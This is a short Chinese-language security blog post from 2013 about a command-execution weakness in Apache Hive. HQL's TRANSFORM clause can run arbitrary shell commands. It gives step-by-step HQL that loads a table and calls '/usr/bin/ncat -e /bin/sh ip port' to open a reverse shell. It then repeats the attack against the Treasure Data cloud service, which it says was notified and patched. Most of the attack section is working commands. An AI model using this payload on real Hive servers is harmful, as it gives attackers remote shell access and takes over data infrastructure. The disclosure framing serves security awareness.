Author: kindle
Date: 2013-02-9
Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。
漏洞详情:
HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限
测试代码:
cat /root/test
1 test
创建测试表
create table if not exists kindle(id int,test string);
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;
漏洞状态:
通知了部分大公司,尚未联系官方
————————————————————————————-邪恶的分割线————————————————————————————-
实战案例:
测试Treasure Data集群(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)
过程:
修复状态:
已经通知Treasure Data官方,修补好了,如下图官方的回复
创建测试表
create table if not exists kindle(id int);
导入数据(这步很关键,没数据无法触发漏洞)
LOAD DATA LOCAL INPATH ‘/root/test’ INTO TABLE kindle;
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;
http://www.sectop.org/2013/02/treasure-data-hive-vuln/